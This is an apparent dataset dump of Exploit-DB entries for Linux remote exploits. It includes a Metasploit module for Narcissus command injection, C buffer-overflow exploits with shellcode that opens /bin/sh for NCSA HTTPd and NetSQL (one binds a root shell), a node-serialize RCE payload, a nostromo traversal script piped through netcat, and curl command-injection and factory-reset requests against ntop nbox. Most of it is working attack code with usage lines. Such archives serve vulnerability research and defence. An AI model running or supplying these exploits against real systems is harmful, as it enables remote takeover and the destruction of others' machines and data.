deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22856
Description: Narcissus Image Configuration - Passthru (Metasploit)
Type: remote
Platform: linux
Date: 2012-11-21
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Narcissus Image Configuration Passthru Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability found in Narcissus image configuration
				function.  This is due to the backend.php file not handling the $release parameter
				properly, and then passes it on to the configure_image() function.  In this
				function, the $release parameter can be used to inject system commands for
				passthru (a PHP function that's meant to be used to run a bash script by the
				vulnerable application), which allows remote code execution under the context
				of the web server.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Dun',    #Original
					'sinn3r'  #Metasploit
				],
			'References'     =>
				[
					[ 'EDB', '22709' ],
					[ 'BID', '87410' ]
				],
			'Payload'        =>
				{
					'BadChars' => "\x00\x0d\x0a"
				},
			'Platform'       => ['unix', 'linux'],
			'Arch'           => ARCH_CMD,
			'Compat'         =>
				{
					'PayloadType' => 'cmd',
					'RequiredCmd' => 'generic perl ruby python bash netcat-e'
				},
			'Targets'        =>
				[
					['Narcissus', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Nov 14 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The URI path to the web application', '/narcissus-master/'])
			], self.class)
	end

	def base
		uri = target_uri.path
		uri << '/' if uri[-1,1] != '/'
		return uri
	end

	def peer
		"#{rhost}:#{rport}"
	end

	def remote_exe(command)
		res = send_request_cgi({
			'uri'      => "#{base}backend.php",
			'method'   => 'POST',
			'encode_params' => false,
			'vars_post' => {
				'machine' => '0',
				'action'  => 'configure_image',
				'release' => "|#{command}"
			}
		})

		vprint_line(res.body) if res
		return res
	end

	def check
		sig = rand_text_alpha(rand(10) + 5)  #The string to check

		print_status("#{peer} - Looking for signature '#{sig}'...")
		res = remote_exe("echo #{sig}")

		if res and res.body =~ /#{sig}/
			print_status("#{peer} - Signature '#{sig}' found.")
			return Exploit::CheckCode::Vulnerable
		else
			print_status("#{peer} - Signature not found")
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		print_status("#{peer} - Sending malicious request...")
		remote_exe(payload.encoded)
	end


end
Exploit-DB #25005
Description: NASM 0.98.x - Error Preprocessor Directive Buffer Overflow
Type: remote
Platform: linux
Date: 2004-12-15
Author: Jonathan Rockway

Exploit:
source: https://www.securityfocus.com/bid/11991/info

NASM is prone to a buffer overflow. This condition is exposed when the application attempts to assemble a source file that contains malformed '%error' preprocessor directive arguments. Since the source file may originate from an external or untrusted source, this vulnerability is considered remote in nature.

Successful exploitation will permit arbitrary code execution with the privileges of the user running the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25005.zip
Exploit-DB #24105
Description: National Science Foundation Squid Proxy 2.3 - Internet Access Control Bypass
Type: remote
Platform: linux
Date: 2004-05-10
Author: Nuno Costa

Exploit:
source: https://www.securityfocus.com/bid/10315/info

Squid proxy has been reported to be affected by an Internet access control bypass vulnerability. This issue is caused by a failure of the application to properly handle access controls when evaluating malformed URI requests.

This issue is reported to affect version 2.3.STABLE5 of the software, it is likely however that other versions are also affected.

This issue would allow users that are restricted from accessing Internet-based resources to access arbitrary web sites.

http://@@website_allowed.pt@restricted_internet_resource.html
Exploit-DB #21049
Description: NCSA HTTPd 1.x - Remote Buffer Overflow (1)
Type: remote
Platform: linux
Date: 1997-04-23
Author: savage

Exploit:
// source: https://www.securityfocus.com/bid/3158/info

NCSA HTTPd is a free, open-source web server for *nix systems.

NCSA HTTPd versions 1.3 and earlier are prone to an exploitable buffer overflow(in the username field) which will allow malicious remote users to execute arbitrary code with the privileges of the webserver process.

Successful exploitation of this vulnerability will allow a remote attacker to gain local access to the host. 

/*
 * NCSA 1.3 Linux/intel remote xploit by savage@apostols.org 1997-April-23
 *
 * Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore,EDevil and the rest of ToXyn !!!
 *
 * usage:
 *	$ (hackttpd 0; cat) | nc victim 143
 *                  |
 *                  +--> usually from -1000 to 1000 (try steeps of 100)
 */

#include <stdio.h>

unsigned char shell[] = {
'/',0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0xeb,0x27,0x5e,0x31,0xed,0x31,0xc9,0x31,0xc0,0x88,0x6e,6,0x89,0xf3,0x89,0x76,
0x24,0x89,0x6e,0x28,0x8d,0x6e,0x24,0x89,0xe9,0x8d,0x6e,0x28,0x89,0xea,0xb0,0x0b,
0xcd,0x80,0x31,0xdb,0x89,0xd8,0x40,0xcd,0x80,0xe8,0xd4,0xff,0xff,0xff,
'b','i','n','/','s','h'
};

char username[256+8];

void main(int argc, char *argv[]) {
	int i,a;
	long val;
	
	if(argc>1)
		a=atoi(argv[1]);
	else
		a=0;
	
	strcpy(username,shell);
	
	for(i=strlen(shell);i<sizeof(username);i++)
		username[i]=0x90; /* NOP */

	val = 0xbfff537c + 4 + a; 

	i=sizeof(username)-4;
	{
		username[i+0] = val & 0x000000ff;
		username[i+1] = (val & 0x0000ff00) >> 8;
		username[i+2] = (val & 0x00ff0000) >> 16;
		username[i+3] = (val & 0xff000000) >> 24;
	}
	
	username[ sizeof(username) ] = 0;
	
        printf("GET %s\n/bin/bash -i 2>&1;\n", username);
}
Exploit-DB #21050
Description: NCSA HTTPd 1.x - Remote Buffer Overflow (2)
Type: remote
Platform: linux
Date: 1995-02-17
Author: Xtremist

Exploit:
// source: https://www.securityfocus.com/bid/3158/info
 
NCSA HTTPd is a free, open-source web server for *nix systems.
 
NCSA HTTPd versions 1.3 and earlier are prone to an exploitable buffer overflow(in the username field) which will allow malicious remote users to execute arbitrary code with the privileges of the webserver process.
 
Successful exploitation of this vulnerability will allow a remote attacker to gain local access to the host. 

/*     
; NCSA Webserver Buffer Overflow in 1.3 
; 	By Xtremist (xtremist@2xs.co.il) for [r00tabega.security.labs]
; Tested on Slackware 4.0 with NCSA 1.3  
;     usage:
; 	$ (ncsaexpl 0; cat) | nc victim 80
;                   
;                    OFFSET usually from -1000 to 1000 
;   greets all people i know :)
;*/

#include <stdio.h>

unsigned char shell[] = /*  alphae1's shellcode for execve */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";


char user[264];

long get_esp(void) {
	__asm__("movl %esp,%eax");
}

int main(int argc,char **argv){ 

int i; int offset=160;
long ret;
if(argc>1) {
  offset=atoi(argv[1]);
}
ret=(get_esp()-offset);

for(i=1;i<264;i+=4){
*(long *)&user[i]=ret;
}

for(i=0;i<(260-strlen(shell));i++) {
*(user+i)=0x90; /*NOP*/
}

memcpy(shell+i,shell,strlen(shell));

printf("GET %s\n", user);

}
Exploit-DB #32012
Description: Netrw 125 Vim Script - Multiple Command Execution Vulnerabilities
Type: remote
Platform: linux
Date: 2008-07-07
Author: Jan Minar

Exploit:
source: https://www.securityfocus.com/bid/30115/info

Netrw is prone to multiple command-execution vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Successfully exploiting these issues can allow an attacker to execute arbitrary commands with the privileges of the user running the affected application.

Netrw 125 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32012.tar.bz2
Exploit-DB #20936
Description: NetSQL 1.0 - Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2001-06-15
Author: Sergio Monteiro

Exploit:
// source: https://www.securityfocus.com/bid/2885/info

NetSQL is an implementation of a database and toolset distributed by Munica Corporation. NetSQL is part of 5 piece software package called the Webpak, containing utilities for features such as web boards, membership, and online calendars.

A buffer overflow in the server makes it possible for a remote user to gain remote root access to a system using the affected software. By sending a long string to port 6500, a remote user can create a buffer overflow, allowing code execution.

This makes it possible for a remote user to gain remote root access, resulting in complete compromise of a system using the affected software.

/* PRIVATE EXPLOIT, DONT DISTRO%$##$%$# 
 * Remote exploit for NetSQL server, by Sergio Monteiro a.k.a Papa-tudo 
 * netsqld - An SQL database server with Web interface
 * check http://www.sekurity.com.br .
 *
 * There is an easily exploitable buffer overflow in netsql.
 * This exploit was tested on redhat 6.2. 
 * 
 * Run like: ./netsql | nc host.com 6500 
 * Then connect to port 3879 for the rootshell.
 *
 * Greets: www.sekurity.com.br
 * Author: Papa-tudo - 
 *
 *PRIVATE EXPLOIT, DONT DISTRO%$##$%$#
*/

 
#include <stdio.h>
#include <string.h>

#define RET 0xbffea3d0

char crap[80];
char cmd[1024];

char shellcode[] =
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

int
main (int argc, char *argv[])

{

char *buf;
int bsize=180, offset = 0, len = 151, i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);
  if (argc > 3) len = atoi(argv[3]);

  buf = malloc(bsize);

  memset (buf, '\x90', bsize);
  memset(crap, '\x41', 80);

       for (i = len; i < bsize - 4; i += 4)
      *(long *) &buf[i] = RET + offset;

  memcpy (buf + (len - strlen (shellcode)), shellcode, strlen (shellcode));

  crap[sizeof(crap)] = '\0';
  buf[bsize - 1] = '\0';

  fprintf(stderr, "Return Address = 0x%x\n", RET + offset);
  fprintf(stderr, "Running with offset %d\n", offset);

printf("76 CONNECT %s ON %s USER=\'netsql\' PASSWORD=\'none\'\n", crap, buf);

}
Exploit-DB #25080
Description: Newsgrab 0.5.0pre4 - Multiple Local/Remote Vulnerabilities
Type: remote
Platform: linux
Date: 2005-02-02
Author: Niels Heinen

Exploit:
source: https://www.securityfocus.com/bid/12428/info

Newsgrab is reported prone to multiple vulnerabilities. The following individual issues are reported:

Newsgrab is reported prone to a directory traversal vulnerability. This vulnerability exists because the software does not sufficiently sanitize directory traversal sequences from filenames before the filename is employed to store the file onto disk.

A remote attacker may exploit this vulnerability by supplying a malicious file to a target victim. This vulnerability has been assigned the CVE identifier CAN-2005-0153.

Newsgrab is reported prone to an unspecified insecure permissions vulnerability.

A local attacker may exploit this vulnerability to disclose potentially sensitive information that is contained in files that were downloaded using newsgrab. This vulnerability has been assigned the CVE identifier CAN-2005-0154. 

A file containing the name '../../../../etc/rc.local' and the mode 777 could cause newsgrab to drop the file at /etc/rc.local with 777 permissions.
Exploit-DB #15318
Description: NitroSecurity ESM 8.4.0a - Remote Code Execution
Type: remote
Platform: linux
Date: 2010-10-26
Author: Filip Palian

Exploit:
-- Product description:
NitroView ESM is an enterprise-class security information and event
management system that identifies, correlates, and remediates threats
faster than any other SIEM on the market.

-- Problem Description:
During research it was found that perl module "ess.pm" is prone to
remote code execution vulnerability due to lack of user input
validation.

-- Research Environment:
The vulnerability was found and tested on ESM 8.4.0a (NitroSecurity
2.6.22.19-24nssmp64 GNU/Linux).

-- Requirements:
During the research "ESSPMDebug=1" option in
"/usr/local/ess/CPConsoleServer.cfg" was required. No authentication
in NitroSecurity ESM was required to successfuly conduct the attack.

-- Technical Details:
Because of the "system()" call in "ess.pm" module it's possible to
send specially crafted request to NitroSecurity ESM web interface,
which results in remote command execution. It's necessery to change
IFS (Internal Field Separator) to exploit this vulnerability. Probably
other methods also would work.

-- Proof Of Concept:
The following code was successfuly executed in testing environment
(remember to change x.x.x.x to your NitroSecurity ESM IP address for
testing purposes only):

-- cut --
<html>
<pre>

[*] Tested on v8.4.0a "NitroSecurity 2.6.22.19-24nssmp64 GNU/Linux"
[*] No authentication required
[*] "ESSPMDebug=1" in "/usr/local/ess/CPConsoleServer.cfg" required

</pre>
<form action="https://x.x.x.x/ess"; method="POST">
<input type="text" name="Request" value="A';c='uname:-a';IFS=:;$c>>/tmp/test;'"
<input type="hidden" name="debug" value="1">
<input type="submit" value="Oops()">
</form>
</html>
-- cut --

-- Impact:
Remote code execution in the context of the user running web server.

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Disclosure timeline:
20100922: initial contact with vendor
20100922: vendor response
20100923: detailed information about vulnerability and PoC sent to vendor
20100923: vulnerability confirmed by vendor
20101008: patch released by vendor
20101025: security advisory released

-- Credits:
This bug was found by s_n ;-p

-- Greetz
K&I, #dragonfly
Exploit-DB #34932
Description: NitroView ESM - 'ess.pm' Remote Command Execution
Type: remote
Platform: linux
Date: 2010-10-26
Author: s_n

Exploit:
source: https://www.securityfocus.com/bid/44421/info

NitroView ESM is prone to a remote command-execution vulnerability because it fails to adequately sanitize user-supplied input.

Successful attacks may allow an attacker to execute arbitrary commands on the appliance in the context of the webserver process.

NitroView ESM 8.4.0a is affected; other versions may also be vulnerable.

<html> <pre> [*] Tested on v8.4.0a "NitroSecurity 2.6.22.19-24nssmp64 GNU/Linux" [*] No authentication required [*] "ESSPMDebug=1" in "/usr/local/ess/CPConsoleServer.cfg" required </pre> <form action="https://x.x.x.x/ess"; method="POST"> <input type="text" name="Request" value="A';c='uname:-a';IFS=:;$c>>/tmp/test;'" <input type="hidden" name="debug" value="1"> <input type="submit" value="Oops()"> </form> </html>
Exploit-DB #38741
Description: Nmap - Arbitrary File Write
Type: remote
Platform: linux
Date: 2013-08-06
Author: Piotr Duszynski

Exploit:
source: https://www.securityfocus.com/bid/62024/info

Nmap is prone to an arbitrary file-write vulnerability.

An attacker can exploit this issue to write arbitrary files with the permissions of the user running the nmap client. This will allow the attacker to fully compromise the affected machine.

Nmap 6.25 is vulnerable; other versions may also be affected. 

nmap --script domino-enum-passwords -p 80 <evil_host> --script-args domino-enum-passwords.username='patrik karlsson',domino-enum-passwords.[CREDENTIAL_REDACTED],domino-enum-passwords.idpath='/tmp'
Exploit-DB #45265
Description: Node.JS - 'node-serialize' Remote Code Execution
Type: remote
Platform: linux
Date: 2017-02-08
Author: OpSecX

Exploit:
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
Exploit-DB #35466
Description: nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution
Type: remote
Platform: linux
Date: 2011-03-05
Author: RedTeam Pentesting GmbH

Exploit:
source: https://www.securityfocus.com/bid/46880/info

nostromo nhttpd is prone to a remote command-execution vulnerability because it fails to properly validate user-supplied data.

An attacker can exploit this issue to access arbitrary files and execute arbitrary commands with application-level privileges.

nostromo versions prior to 1.9.4 are affected.

#!/bin/sh
######################################
#                                    #
#  RedTeam Pentesting GmbH           #
#  kontakt@redteam-pentesting.de     #
#  http://www.redteam-pentesting.de  #
#                                    #
######################################

if [ $# -lt 3 ]; then
    echo "Usage: $(basename $0) HOST PORT COMMAND..."
    exit 2
fi


HOST="$1"
PORT="$2"
shift 2

( \
    echo -n -e 'POST /..%2f..%2f..%2fbin/sh HTTP/1.0\r\n'; \
    echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
    echo "$@ 2>&1" \
) | nc "$HOST" "$PORT" \
  | sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'
Exploit-DB #40201
Description: ntop/nbox 2.3 < 2.5 - Multiple Vulnerabilities
Type: remote
Platform: linux
Date: 2016-08-05
Author: Javier Marcos

Exploit:
E-DB Note: Source ~ http://carnal0wnage.attackresearch.com/2016/08/got-any-rces.html

(The issues were found originally in nbox 2.3 and confirmed in nbox 2.5)



To make things easier, I created a Vagrantfile with provisioning so you can have your own nbox appliance and test my findings or give it a shot. There is more stuff to be found, trust me :)

https://github.com/javuto/nbox-pwnage 






*Replace NTOP-BOX with the IP address of your appliance (presuming that you already logged in). Note that most of the RCEs are wrapped in sudo so it makes the pwnage much more interesting:

RCE: POST against https://NTOP-BOX/ntop-bin/write_conf_users.cgi with parameter cmd=touch /tmp/HACK
  curl -sk --user nbox:nbox --data 'cmd=touch /tmp/HACK' 'https://NTOP-BOX/ntop-bin/write_conf_users.cgi'



RCE: POST against https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi with parameters interface=;touch /tmp/HACK;
  curl -sk --user nbox:nbox --data 'interface=;touch /tmp/HACK;' 'https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi'



RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap
  curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap'



RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22
  curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22'



RCE: POST against https://NTOP-BOX/ntop-bin/do_mergecap.cgi with parameters opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit%200
  curl -sk --user nbox:nbox --data 'opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit 0' 'https://NTOP-BOX/ntop-bin/do_mergecap.cgi'

There are some other interesting things, for example, it was possible to have a persistent XSS by rewriting crontab with a XSS payload on it, but they fixed it in 2.5. However the crontab overwrite (Wrapped in sudo) is still possible:

  GET https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON

  curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON'



The last one is a CSRF that leaves the machine fried, by resetting the machine completely:

  GET https://NTOP-BOX/ntop-bin/do_factory_reset.cgi

  curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_factory_reset.cgi'



Modules for metasploit and BeEF will come soon. I hope this time the issues are not just silently patched...



If you have any questions or feedback, hit me up in twitter (@javutin)!



Have a nice day!